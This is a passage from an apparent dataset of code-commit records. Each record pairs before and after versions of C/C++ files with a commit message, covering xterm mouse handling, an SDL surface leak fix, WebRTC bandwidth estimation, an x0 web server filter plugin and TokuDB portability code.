LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n\n#include \"xterm_mouse.hh\"\n\nconst char *xterm_mouse::XT_TERMCAP = \"\\033[?1000%?%p1%{1}%=%th%el%;\";\nconst char *xterm_mouse::XT_TERMCAP_TRACKING = \"\\033[?1002%?%p1%{1}%=%th%el%;\";\nconst char *xterm_mouse::XT_TERMCAP_SGR = \"\\033[?1006%?%p1%{1}%=%th%el%;\";\n\nvoid xterm_mouse::handle_mouse()\n{\n bool release = false;\n int ch;\n size_t index = 0;\n int bstate, x, y;\n char buffer[64];\n bool done = false;\n\n while (!done) {\n if (index >= sizeof(buffer) - 1) {\n break;\n }\n ch = getch();\n switch (ch) {\n case 'm':\n release = true;\n done = true;\n break;\n case 'M':\n done = true;\n break;\n default:\n buffer[index++] = (char)ch;\n break;\n }\n }\n buffer[index] = '\\0';\n\n if (sscanf(buffer, \"<%d;%d;%d\", &bstate, &x, &y) == 3) {\n if (this->xm_behavior) {\n this->xm_behavior->mouse_event(bstate, release, x, y);\n }\n }\n else {\n log_error(\"bad mouse escape sequence: %s\", buffer);\n }\n}\n\nvoid xterm_mouse::set_enabled(bool enabled)\n{\n if (is_available()) {\n putp(tparm((char *)XT_TERMCAP, enabled ? 1 : 0));\n putp(tparm((char *)XT_TERMCAP_TRACKING, enabled ? 1 : 0));\n putp(tparm((char *)XT_TERMCAP_SGR, enabled ? 1 : 0));\n fflush(stdout);\n this->xm_enabled = enabled;\n } else {\n log_warning(\"mouse support is not available\");\n }\n}\n\nbool xterm_mouse::is_available()\n{\n const char *termname = getenv(\"TERM\");\n bool retval = false;\n\n if (termname and strstr(termname, \"xterm\") != NULL) {\n retval = isatty(STDOUT_FILENO);\n }\n return retval;\n}\n<commit_msg>[mouse] do not require xterm for mouse use<commit_after>\/**\n * Copyright (c) 2007-2012, Timothy Stack\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n * * Neither the name of Timothy Stack nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ''AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n\n#include \"xterm_mouse.hh\"\n\nconst char *xterm_mouse::XT_TERMCAP = \"\\033[?1000%?%p1%{1}%=%th%el%;\";\nconst char *xterm_mouse::XT_TERMCAP_TRACKING = \"\\033[?1002%?%p1%{1}%=%th%el%;\";\nconst char *xterm_mouse::XT_TERMCAP_SGR = \"\\033[?1006%?%p1%{1}%=%th%el%;\";\n\nvoid xterm_mouse::handle_mouse()\n{\n bool release = false;\n int ch;\n size_t index = 0;\n int bstate, x, y;\n char buffer[64];\n bool done = false;\n\n while (!done) {\n if (index >= sizeof(buffer) - 1) {\n break;\n }\n ch = getch();\n switch (ch) {\n case 'm':\n release = true;\n done = true;\n break;\n case 'M':\n done = true;\n break;\n default:\n buffer[index++] = (char)ch;\n break;\n }\n }\n buffer[index] = '\\0';\n\n if (sscanf(buffer, \"<%d;%d;%d\", &bstate, &x, &y) == 3) {\n if (this->xm_behavior) {\n this->xm_behavior->mouse_event(bstate, release, x, y);\n }\n }\n else {\n log_error(\"bad mouse escape sequence: %s\", buffer);\n }\n}\n\nvoid xterm_mouse::set_enabled(bool enabled)\n{\n if (is_available()) {\n putp(tparm((char *)XT_TERMCAP, enabled ? 1 : 0));\n putp(tparm((char *)XT_TERMCAP_TRACKING, enabled ? 1 : 0));\n putp(tparm((char *)XT_TERMCAP_SGR, enabled ? 1 : 0));\n fflush(stdout);\n this->xm_enabled = enabled;\n } else {\n log_warning(\"mouse support is not available\");\n }\n}\n\nbool xterm_mouse::is_available()\n{\n return isatty(STDOUT_FILENO);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"_app\/sdl.h\"\n#include \"SDL\/SDL.h\"\n\nst::_app::sdl::sdl() {\n init();\n}\n\nst::_app::sdl::~sdl() {\n finish();\n}\n\nbool st::_app::sdl::init() {\n SDL_Init ( SDL_INIT_EVERYTHING );\n SDL_Surface* hello;\n m_screen = SDL_SetVideoMode(640, 480, 32, SDL_SWSURFACE );\n \/\/ Let's be honest, right now I don't care. # COPIED!!!\n hello = SDL_LoadBMP(media()->get_image_media_path(\"hello.bmp\").c_str());\n SDL_BlitSurface(hello, NULL, m_screen, NULL);\n SDL_Flip( m_screen );\n SDL_Delay( 2000 );\n return true;\n}\n\nbool st::_app::sdl::finish() {\n SDL_Quit();\n \/\/ Let's be honest, right now I don't care.\n return true;\n}\n<commit_msg>Free missed screen.<commit_after>#include \"_app\/sdl.h\"\n#include \"SDL\/SDL.h\"\n\nst::_app::sdl::sdl() {\n init();\n}\n\nst::_app::sdl::~sdl() {\n finish();\n}\n\nbool st::_app::sdl::init() {\n SDL_Init ( SDL_INIT_EVERYTHING );\n SDL_Surface* hello;\n m_screen = SDL_SetVideoMode(640, 480, 32, SDL_SWSURFACE );\n \/\/ Let's be honest, right now I don't care. # COPIED!!!\n hello = SDL_LoadBMP(media()->get_image_media_path(\"hello.bmp\").c_str());\n SDL_BlitSurface(hello, NULL, m_screen, NULL);\n \/\/ Lazy!\n SDL_Flip( m_screen );\n SDL_Delay( 2000 );\n SDL_FreeSurface(hello);\n return true;\n}\n\nbool st::_app::sdl::finish() {\n SDL_Quit();\n \/\/ Let's be honest, right now I don't care.\n return true;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \".\/MediaDefinitions.h\"\n#include \"rtp\/SenderBandwidthEstimationHandler.h\"\n\nnamespace erizo {\n\nDEFINE_LOGGER(SenderBandwidthEstimationHandler, \"rtp.SenderBandwidthEstimationHandler\");\n\nconstexpr duration SenderBandwidthEstimationHandler::kMinUpdateEstimateInterval;\n\nSenderBandwidthEstimationHandler::SenderBandwidthEstimationHandler(std::shared_ptr<Clock> the_clock) :\n connection_{nullptr}, bwe_listener_{nullptr}, clock_{the_clock}, initialized_{false}, enabled_{true},\n received_remb_{false}, period_packets_sent_{0}, estimated_bitrate_{0}, estimated_loss_{0},\n estimated_rtt_{0}, last_estimate_update_{clock::now()}, sender_bwe_{new SendSideBandwidthEstimation()} {\n sender_bwe_->SetSendBitrate(kStartSendBitrate);\n };\n\nSenderBandwidthEstimationHandler::SenderBandwidthEstimationHandler(const SenderBandwidthEstimationHandler&& handler) : \/\/ NOLINT\n connection_{handler.connection_},\n bwe_listener_{handler.bwe_listener_},\n clock_{handler.clock_},\n initialized_{handler.initialized_},\n enabled_{handler.enabled_},\n received_remb_{false},\n period_packets_sent_{handler.period_packets_sent_},\n estimated_bitrate_{handler.estimated_bitrate_},\n estimated_loss_{handler.estimated_loss_},\n estimated_rtt_{handler.estimated_rtt_},\n sender_bwe_{handler.sender_bwe_},\n sr_delay_data_{std::move(handler.sr_delay_data_)} {}\n\n\nvoid SenderBandwidthEstimationHandler::enable() {\n enabled_ = true;\n}\n\nvoid SenderBandwidthEstimationHandler::disable() {\n enabled_ = false;\n}\n\nvoid SenderBandwidthEstimationHandler::notifyUpdate() {\n if (initialized_) {\n return;\n }\n auto pipeline = getContext()->getPipelineShared();\n if (pipeline && !connection_) {\n connection_ = pipeline->getService<WebRtcConnection>().get();\n }\n if (!connection_) {\n return;\n }\n stats_ = pipeline->getService<Stats>();\n if (!stats_) {\n return;\n }\n initialized_ = true;\n}\n\nvoid SenderBandwidthEstimationHandler::read(Context *ctx, std::shared_ptr<DataPacket> packet) {\n RtcpHeader *chead = reinterpret_cast<RtcpHeader*>(packet->data);\n if (chead->isFeedback()) {\n char* packet_pointer = packet->data;\n int rtcp_length = 0;\n int total_length = 0;\n int current_block = 0;\n\n do {\n packet_pointer+=rtcp_length;\n chead = reinterpret_cast<RtcpHeader*>(packet_pointer);\n rtcp_length = (ntohs(chead->length) + 1) * 4;\n total_length += rtcp_length;\n ELOG_DEBUG(\"%s ssrc %u, sourceSSRC %u, PacketType %u\", connection_->toLog(),\n chead->getSSRC(),\n chead->getSourceSSRC(),\n chead->getPacketType());\n switch (chead->packettype) {\n case RTCP_Receiver_PT:\n {\n ELOG_DEBUG(\"%s, Analyzing Video RR: PacketLost %u, Ratio %u, current_block %d, blocks %d\"\n \", sourceSSRC %u, ssrc %u\",\n connection_->toLog(),\n chead->getLostPackets(),\n chead->getFractionLost(),\n current_block,\n chead->getBlockCount(),\n chead->getSourceSSRC(),\n chead->getSSRC());\n \/\/ calculate RTT + Update receiver block\n uint32_t delay_since_last_ms = (chead->getDelaySinceLastSr() * 1000) \/ 65536;\n int64_t now_ms = ClockUtils::timePointToMs(clock_->now());\n uint32_t last_sr = chead->getLastSr();\n\n auto value = std::find_if(sr_delay_data_.begin(), sr_delay_data_.end(),\n [last_sr](const std::shared_ptr<SrDelayData> sr_info) {\n return sr_info->sr_ntp == last_sr;\n });\n \/\/ TODO(pedro) Implement alternative when there are no REMBs\n if (received_remb_ && value != sr_delay_data_.end()) {\n uint32_t delay = now_ms - (*value)->sr_send_time - delay_since_last_ms;\n ELOG_DEBUG(\"%s message: Updating Estimate with RR, fraction_lost: %u, \"\n \"delay: %u, period_packets_sent_: %u\",\n connection_->toLog(), chead->getFractionLost(), delay, period_packets_sent_);\n sender_bwe_->UpdateReceiverBlock(chead->getFractionLost(),\n delay, period_packets_sent_, now_ms);\n period_packets_sent_ = 0;\n updateEstimate();\n }\n }\n break;\n case RTCP_PS_Feedback_PT:\n {\n if (chead->getBlockCount() == RTCP_AFB) {\n char *uniqueId = reinterpret_cast<char*>(&chead->report.rembPacket.uniqueid);\n if (!strncmp(uniqueId, \"REMB\", 4)) {\n received_remb_ = true;\n int64_t now_ms = ClockUtils::timePointToMs(clock_->now());\n uint64_t remb_bitrate = chead->getBrMantis() << chead->getBrExp();\n uint64_t bitrate = estimated_bitrate_ != 0 ? estimated_bitrate_ : remb_bitrate;\n\n \/\/ We update the REMB with the latest estimation\n chead->setREMBBitRate(bitrate);\n ELOG_DEBUG(\"%s message: Updating estimate REMB, bitrate: %lu, estimated_bitrate %lu, remb_bitrate %lu\",\n connection_->toLog(), bitrate, estimated_bitrate_, remb_bitrate);\n sender_bwe_->UpdateReceiverEstimate(now_ms, remb_bitrate);\n updateEstimate();\n } else {\n ELOG_DEBUG(\"%s message: Unsupported AFB Packet not REMB\", connection_->toLog());\n }\n }\n }\n break;\n default:\n break;\n }\n current_block++;\n } while (total_length < packet->length);\n }\n ctx->fireRead(std::move(packet));\n}\n\nvoid SenderBandwidthEstimationHandler::write(Context *ctx, std::shared_ptr<DataPacket> packet) {\n RtcpHeader *chead = reinterpret_cast<RtcpHeader*>(packet->data);\n if (!chead->isRtcp() && packet->type == VIDEO_PACKET) {\n period_packets_sent_++;\n time_point now = clock_->now();\n if (received_remb_ && now - last_estimate_update_ > kMinUpdateEstimateInterval) {\n sender_bwe_->UpdateEstimate(ClockUtils::timePointToMs(now));\n updateEstimate();\n last_estimate_update_ = now;\n }\n } else if (chead->getPacketType() == RTCP_Sender_PT) {\n analyzeSr(chead);\n }\n ctx->fireWrite(std::move(packet));\n}\n\nvoid SenderBandwidthEstimationHandler::analyzeSr(RtcpHeader* chead) {\n uint64_t now = ClockUtils::timePointToMs(clock_->now());\n uint32_t ntp;\n ntp = chead->get32MiddleNtp();\n ELOG_DEBUG(\"%s message: adding incoming SR to list, ntp: %u\", connection_->toLog(), ntp);\n sr_delay_data_.push_back(std::shared_ptr<SrDelayData>( new SrDelayData(ntp, now)));\n if (sr_delay_data_.size() >= kMaxSrListSize) {\n sr_delay_data_.pop_front();\n }\n}\n\nvoid SenderBandwidthEstimationHandler::updateEstimate() {\n sender_bwe_->CurrentEstimate(&estimated_bitrate_, &estimated_loss_,\n &estimated_rtt_);\n if (stats_) {\n stats_->getNode()[\"total\"].insertStat(\"senderBitrateEstimation\",\n CumulativeStat{static_cast<uint64_t>(estimated_bitrate_)});\n }\n ELOG_DEBUG(\"%s message: estimated bitrate %d, loss %u, rtt %ld\",\n connection_->toLog(), estimated_bitrate_, estimated_loss_, estimated_rtt_);\n if (bwe_listener_) {\n bwe_listener_->onBandwidthEstimate(estimated_bitrate_, estimated_loss_, estimated_rtt_);\n }\n}\n} \/\/ namespace erizo\n<commit_msg>Also search REMBs and RRs after SRs (#1473)<commit_after>#include \".\/MediaDefinitions.h\"\n#include \"rtp\/SenderBandwidthEstimationHandler.h\"\n\n#include \"rtp\/RtpUtils.h\"\n\nnamespace erizo {\n\nDEFINE_LOGGER(SenderBandwidthEstimationHandler, \"rtp.SenderBandwidthEstimationHandler\");\n\nconstexpr duration SenderBandwidthEstimationHandler::kMinUpdateEstimateInterval;\n\nSenderBandwidthEstimationHandler::SenderBandwidthEstimationHandler(std::shared_ptr<Clock> the_clock) :\n connection_{nullptr}, bwe_listener_{nullptr}, clock_{the_clock}, initialized_{false}, enabled_{true},\n received_remb_{false}, period_packets_sent_{0}, estimated_bitrate_{0}, estimated_loss_{0},\n estimated_rtt_{0}, last_estimate_update_{clock::now()}, sender_bwe_{new SendSideBandwidthEstimation()} {\n sender_bwe_->SetSendBitrate(kStartSendBitrate);\n };\n\nSenderBandwidthEstimationHandler::SenderBandwidthEstimationHandler(const SenderBandwidthEstimationHandler&& handler) : \/\/ NOLINT\n connection_{handler.connection_},\n bwe_listener_{handler.bwe_listener_},\n clock_{handler.clock_},\n initialized_{handler.initialized_},\n enabled_{handler.enabled_},\n received_remb_{false},\n period_packets_sent_{handler.period_packets_sent_},\n estimated_bitrate_{handler.estimated_bitrate_},\n estimated_loss_{handler.estimated_loss_},\n estimated_rtt_{handler.estimated_rtt_},\n sender_bwe_{handler.sender_bwe_},\n sr_delay_data_{std::move(handler.sr_delay_data_)} {}\n\n\nvoid SenderBandwidthEstimationHandler::enable() {\n enabled_ = true;\n}\n\nvoid SenderBandwidthEstimationHandler::disable() {\n enabled_ = false;\n}\n\nvoid SenderBandwidthEstimationHandler::notifyUpdate() {\n if (initialized_) {\n return;\n }\n auto pipeline = getContext()->getPipelineShared();\n if (pipeline && !connection_) {\n connection_ = pipeline->getService<WebRtcConnection>().get();\n }\n if (!connection_) {\n return;\n }\n stats_ = pipeline->getService<Stats>();\n if (!stats_) {\n return;\n }\n initialized_ = true;\n}\n\nvoid SenderBandwidthEstimationHandler::read(Context *ctx, std::shared_ptr<DataPacket> packet) {\n RtpUtils::forEachRtcpBlock(packet, [this](RtcpHeader *chead) {\n ELOG_DEBUG(\"%s ssrc %u, sourceSSRC %u, PacketType %u\", connection_->toLog(),\n chead->getSSRC(),\n chead->getSourceSSRC(),\n chead->getPacketType());\n switch (chead->packettype) {\n case RTCP_Receiver_PT:\n {\n \/\/ calculate RTT + Update receiver block\n uint32_t delay_since_last_ms = (chead->getDelaySinceLastSr() * 1000) \/ 65536;\n int64_t now_ms = ClockUtils::timePointToMs(clock_->now());\n uint32_t last_sr = chead->getLastSr();\n\n auto value = std::find_if(sr_delay_data_.begin(), sr_delay_data_.end(),\n [last_sr](const std::shared_ptr<SrDelayData> sr_info) {\n return sr_info->sr_ntp == last_sr;\n });\n ELOG_DEBUG(\"%s, Analyzing Video RR: PacketLost %u, Ratio %u, blocks %d\"\n \", sourceSSRC %u, ssrc %u, last_sr %u, remb_received %d, found %d\",\n connection_->toLog(),\n chead->getLostPackets(),\n chead->getFractionLost(),\n chead->getBlockCount(),\n chead->getSourceSSRC(),\n chead->getSSRC(),\n chead->getLastSr(),\n received_remb_,\n value != sr_delay_data_.end());\n \/\/ TODO(pedro) Implement alternative when there are no REMBs\n if (received_remb_ && value != sr_delay_data_.end()) {\n uint32_t delay = now_ms - (*value)->sr_send_time - delay_since_last_ms;\n ELOG_DEBUG(\"%s message: Updating Estimate with RR, fraction_lost: %u, \"\n \"delay: %u, period_packets_sent_: %u\",\n connection_->toLog(), chead->getFractionLost(), delay, period_packets_sent_);\n sender_bwe_->UpdateReceiverBlock(chead->getFractionLost(),\n delay, period_packets_sent_, now_ms);\n period_packets_sent_ = 0;\n updateEstimate();\n }\n }\n break;\n case RTCP_PS_Feedback_PT:\n {\n if (chead->getBlockCount() == RTCP_AFB) {\n char *uniqueId = reinterpret_cast<char*>(&chead->report.rembPacket.uniqueid);\n if (!strncmp(uniqueId, \"REMB\", 4)) {\n received_remb_ = true;\n int64_t now_ms = ClockUtils::timePointToMs(clock_->now());\n uint64_t remb_bitrate = chead->getBrMantis() << chead->getBrExp();\n uint64_t bitrate = estimated_bitrate_ != 0 ? estimated_bitrate_ : remb_bitrate;\n\n \/\/ We update the REMB with the latest estimation\n chead->setREMBBitRate(bitrate);\n ELOG_DEBUG(\"%s message: Updating estimate REMB, bitrate: %lu, estimated_bitrate %lu, remb_bitrate %lu\",\n connection_->toLog(), bitrate, estimated_bitrate_, remb_bitrate);\n sender_bwe_->UpdateReceiverEstimate(now_ms, remb_bitrate);\n updateEstimate();\n } else {\n ELOG_DEBUG(\"%s message: Unsupported AFB Packet not REMB\", connection_->toLog());\n }\n }\n }\n break;\n default:\n break;\n }\n });\n ctx->fireRead(std::move(packet));\n}\n\nvoid SenderBandwidthEstimationHandler::write(Context *ctx, std::shared_ptr<DataPacket> packet) {\n RtcpHeader *chead = reinterpret_cast<RtcpHeader*>(packet->data);\n if (!chead->isRtcp() && packet->type == VIDEO_PACKET) {\n period_packets_sent_++;\n time_point now = clock_->now();\n if (received_remb_ && now - last_estimate_update_ > kMinUpdateEstimateInterval) {\n sender_bwe_->UpdateEstimate(ClockUtils::timePointToMs(now));\n updateEstimate();\n last_estimate_update_ = now;\n }\n } else if (chead->getPacketType() == RTCP_Sender_PT) {\n analyzeSr(chead);\n }\n ctx->fireWrite(std::move(packet));\n}\n\nvoid SenderBandwidthEstimationHandler::analyzeSr(RtcpHeader* chead) {\n uint64_t now = ClockUtils::timePointToMs(clock_->now());\n uint32_t ntp;\n ntp = chead->get32MiddleNtp();\n ELOG_DEBUG(\"%s message: adding incoming SR to list, ntp: %u\", connection_->toLog(), ntp);\n sr_delay_data_.push_back(std::shared_ptr<SrDelayData>( new SrDelayData(ntp, now)));\n if (sr_delay_data_.size() >= kMaxSrListSize) {\n sr_delay_data_.pop_front();\n }\n}\n\nvoid SenderBandwidthEstimationHandler::updateEstimate() {\n sender_bwe_->CurrentEstimate(&estimated_bitrate_, &estimated_loss_,\n &estimated_rtt_);\n if (stats_) {\n stats_->getNode()[\"total\"].insertStat(\"senderBitrateEstimation\",\n CumulativeStat{static_cast<uint64_t>(estimated_bitrate_)});\n }\n ELOG_DEBUG(\"%s message: estimated bitrate %d, loss %u, rtt %ld\",\n connection_->toLog(), estimated_bitrate_, estimated_loss_, estimated_rtt_);\n if (bwe_listener_) {\n bwe_listener_->onBandwidthEstimate(estimated_bitrate_, estimated_loss_, estimated_rtt_);\n }\n}\n} \/\/ namespace erizo\n<|endoftext|>"} {"text":"<commit_before>\/* <x0\/plugins\/filter_example.cpp>\n *\n * This file is part of the x0 web server project and is released under LGPL-3.\n * http:\/\/www.xzero.ws\/\n *\n * (c) 2009-2010 Christian Parpart <trapni@gentoo.org>\n *\/\n\n#include <x0\/http\/HttpPlugin.h>\n#include <x0\/http\/HttpServer.h>\n#include <x0\/http\/HttpRequest.h>\n#include <x0\/http\/HttpResponse.h>\n#include <x0\/http\/HttpRangeDef.h>\n#include <x0\/io\/Filter.h>\n#include <x0\/strutils.h>\n#include <x0\/Types.h>\n#include <x0\/sysconfig.h>\n\n\/\/ {{{ ExampleFilter\nclass ExampleFilter :\n\tpublic x0::Filter\n{\n\tenum Mode {\n\t\tIDENTITY,\n\t\tUPPER,\n\t\tLOWER\n\t};\n\n\tMode mode_;\n\npublic:\n\texplicit ExampleFilter(Mode mode);\n\tvirtual x0::Buffer process(const x0::BufferRef& input);\n};\n\nExampleFilter::ExampleFilter(Mode mode) : mode_(mode)\n{\n}\n\nx0::Buffer ExampleFilter::process(const x0::BufferRef& input)\n{\n\tx0::Buffer result;\n\n\tswitch (mode_)\n\t{\n\t\tcase ExampleFilter::LOWER:\n\t\t\tfor (auto i = input.begin(), e = input.end(); i != e; ++i)\n\t\t\t\tresult.push_back(static_cast<char>(std::tolower(*i)));\n\t\t\tbreak;\n\t\tcase ExampleFilter::UPPER:\n\t\t\tfor (auto i = input.begin(), e = input.end(); i != e; ++i)\n\t\t\t\tresult.push_back(static_cast<char>(std::toupper(*i)));\n\t\t\tbreak;\n\t\tcase ExampleFilter::IDENTITY:\n\t\tdefault:\n\t\t\tresult.push_back(input);\n\t}\n\n\treturn result;\n}\n\/\/ }}}\n\n\/**\n * \\ingroup plugins\n * \\brief ...\n *\/\nclass filter_plugin :\n\tpublic x0::HttpPlugin\n{\npublic:\n\tfilter_plugin(x0::HttpServer& srv, const std::string& name) :\n\t\tx0::HttpPlugin(srv, name)\n\t{\n\t\tregisterFunction<filter_plugin, &filter_plugin::install_filter>(\"example_filter\", Flow::Value::VOID);\n\t}\n\n\t~filter_plugin() {\n\t}\n\n\tvoid install_filter(Flow::Value& \/*result*\/, x0::HttpRequest *in, x0::HttpResponse *out, const x0::Params& args)\n\t{\n\t\tif (args.count() != 1) {\n\t\t\tlog(x0::Severity::error, \"No argument passed.\");\n\t\t\treturn;\n\t\t}\n\n\t\tif (!args[0].isString()) {\n\t\t\tlog(x0::Severity::error, \"Invalid argument type passed.\");\n\t\t\treturn;\n\t\t}\n\n\t\tif (strcmp(args[0].toString(), \"identity\") == 0)\n\t\t\tout->filters.push_back(std::make_shared<ExampleFilter>(ExampleFilter::IDENTITY));\n\t\telse if (strcmp(args[0].toString(), \"upper\") == 0)\n\t\t\tout->filters.push_back(std::make_shared<ExampleFilter>(ExampleFilter::UPPER));\n\t\telse if (strcmp(args[0].toString(), \"lower\") == 0)\n\t\t\tout->filters.push_back(std::make_shared<ExampleFilter>(ExampleFilter::LOWER));\n\t\telse {\n\t\t\tlog(x0::Severity::error, \"Invalid argument value passed.\");\n\t\t\treturn;\n\t\t}\n\n\t\tout->headers.push_back(\"Content-Encoding\", \"filter_example\");\n\n\t\t\/\/ response might change according to Accept-Encoding\n\t\tif (!out->headers.contains(\"Vary\"))\n\t\t\tout->headers.push_back(\"Vary\", \"Accept-Encoding\");\n\t\telse\n\t\t\tout->headers[\"Vary\"] += \",Accept-Encoding\";\n\n\t\t\/\/ removing content-length implicitely enables chunked encoding\n\t\tout->headers.remove(\"Content-Length\");\n\t}\n};\n\nX0_EXPORT_PLUGIN(filter)\n<commit_msg>brain-dead fix<commit_after>\/* <x0\/plugins\/filter_example.cpp>\n *\n * This file is part of the x0 web server project and is released under LGPL-3.\n * http:\/\/www.xzero.ws\/\n *\n * (c) 2009-2010 Christian Parpart <trapni@gentoo.org>\n *\/\n\n#include <x0\/http\/HttpPlugin.h>\n#include <x0\/http\/HttpServer.h>\n#include <x0\/http\/HttpRequest.h>\n#include <x0\/http\/HttpResponse.h>\n#include <x0\/http\/HttpRangeDef.h>\n#include <x0\/io\/Filter.h>\n#include <x0\/strutils.h>\n#include <x0\/Types.h>\n#include <x0\/sysconfig.h>\n\n\/\/ {{{ ExampleFilter\nclass ExampleFilter :\n\tpublic x0::Filter\n{\npublic:\n\tenum Mode {\n\t\tIDENTITY,\n\t\tUPPER,\n\t\tLOWER\n\t};\n\nprivate:\n\tMode mode_;\n\npublic:\n\texplicit ExampleFilter(Mode mode);\n\tvirtual x0::Buffer process(const x0::BufferRef& input);\n};\n\nExampleFilter::ExampleFilter(Mode mode) : mode_(mode)\n{\n}\n\nx0::Buffer ExampleFilter::process(const x0::BufferRef& input)\n{\n\tx0::Buffer result;\n\n\tswitch (mode_)\n\t{\n\t\tcase ExampleFilter::LOWER:\n\t\t\tfor (auto i = input.begin(), e = input.end(); i != e; ++i)\n\t\t\t\tresult.push_back(static_cast<char>(std::tolower(*i)));\n\t\t\tbreak;\n\t\tcase ExampleFilter::UPPER:\n\t\t\tfor (auto i = input.begin(), e = input.end(); i != e; ++i)\n\t\t\t\tresult.push_back(static_cast<char>(std::toupper(*i)));\n\t\t\tbreak;\n\t\tcase ExampleFilter::IDENTITY:\n\t\tdefault:\n\t\t\tresult.push_back(input);\n\t}\n\n\treturn result;\n}\n\/\/ }}}\n\n\/**\n * \\ingroup plugins\n * \\brief ...\n *\/\nclass filter_plugin :\n\tpublic x0::HttpPlugin\n{\npublic:\n\tfilter_plugin(x0::HttpServer& srv, const std::string& name) :\n\t\tx0::HttpPlugin(srv, name)\n\t{\n\t\tregisterFunction<filter_plugin, &filter_plugin::install_filter>(\"example_filter\", Flow::Value::VOID);\n\t}\n\n\t~filter_plugin() {\n\t}\n\n\tvoid install_filter(Flow::Value& \/*result*\/, x0::HttpRequest *in, x0::HttpResponse *out, const x0::Params& args)\n\t{\n\t\tif (args.count() != 1) {\n\t\t\tlog(x0::Severity::error, \"No argument passed.\");\n\t\t\treturn;\n\t\t}\n\n\t\tif (!args[0].isString()) {\n\t\t\tlog(x0::Severity::error, \"Invalid argument type passed.\");\n\t\t\treturn;\n\t\t}\n\n\t\tif (strcmp(args[0].toString(), \"identity\") == 0)\n\t\t\tout->filters.push_back(std::make_shared<ExampleFilter>(ExampleFilter::IDENTITY));\n\t\telse if (strcmp(args[0].toString(), \"upper\") == 0)\n\t\t\tout->filters.push_back(std::make_shared<ExampleFilter>(ExampleFilter::UPPER));\n\t\telse if (strcmp(args[0].toString(), \"lower\") == 0)\n\t\t\tout->filters.push_back(std::make_shared<ExampleFilter>(ExampleFilter::LOWER));\n\t\telse {\n\t\t\tlog(x0::Severity::error, \"Invalid argument value passed.\");\n\t\t\treturn;\n\t\t}\n\n\t\tout->headers.push_back(\"Content-Encoding\", \"filter_example\");\n\n\t\t\/\/ response might change according to Accept-Encoding\n\t\tif (!out->headers.contains(\"Vary\"))\n\t\t\tout->headers.push_back(\"Vary\", \"Accept-Encoding\");\n\t\telse\n\t\t\tout->headers[\"Vary\"] += \",Accept-Encoding\";\n\n\t\t\/\/ removing content-length implicitely enables chunked encoding\n\t\tout->headers.remove(\"Content-Length\");\n\t}\n};\n\nX0_EXPORT_PLUGIN(filter)\n<|endoftext|>"} {"text":"<commit_before>\/* -*- mode: C++; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/\/ vim: ft=cpp:expandtab:ts=8:sw=4:softtabstop=4:\n#ident \"Copyright (c) 2007-2012 Tokutek Inc. All rights reserved.\"\n#ident \"$Id$\"\n\n#include <config.h>\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <unistd.h>\n#include <string.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <toku_assert.h>\n#if defined(HAVE_MALLOC_H)\n# include <malloc.h>\n#elif defined(HAVE_SYS_MALLOC_H)\n# include <sys\/malloc.h>\n#endif\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <sys\/file.h>\n#if defined(HAVE_SYSCALL_H)\n# include <syscall.h>\n#endif\n#if defined(HAVE_SYS_SYSCALL_H)\n# include <sys\/syscall.h>\n#endif\n#if defined(HAVE_SYS_SYSCTL_H)\n# include <sys\/sysctl.h>\n#endif\n#if defined(HAVE_PTHREAD_NP_H)\n# include <pthread_np.h>\n#endif\n#include <inttypes.h>\n#include <sys\/time.h>\n#if defined(HAVE_SYS_RESOURCE_H)\n# include <sys\/resource.h>\n#endif\n#include <sys\/statvfs.h>\n#include \"toku_portability.h\"\n#include \"toku_os.h\"\n#include \"toku_time.h\"\n#include \"memory.h\"\n\nint\ntoku_portability_init(void) {\n int r = toku_memory_startup();\n return r;\n}\n\nvoid\ntoku_portability_destroy(void) {\n toku_memory_shutdown();\n}\n\nint\ntoku_os_getpid(void) {\n return getpid();\n}\n\nint\ntoku_os_gettid(void) {\n#if defined(__NR_gettid)\n return syscall(__NR_gettid);\n#elif defined(SYS_gettid)\n return syscall(SYS_gettid);\n#elif defined(HAVE_PTHREAD_GETTHREADID_NP)\n return pthread_getthreadid_np();\n#else\n# error \"no implementation of gettid available\"\n#endif\n}\n\nint\ntoku_os_get_number_processors(void) {\n return sysconf(_SC_NPROCESSORS_CONF);\n}\n\nint\ntoku_os_get_number_active_processors(void) {\n int n = sysconf(_SC_NPROCESSORS_ONLN);\n#define DO_TOKU_NCPUS 1\n#if DO_TOKU_NCPUS\n {\n char *toku_ncpus = getenv(\"TOKU_NCPUS\");\n if (toku_ncpus) {\n int ncpus = 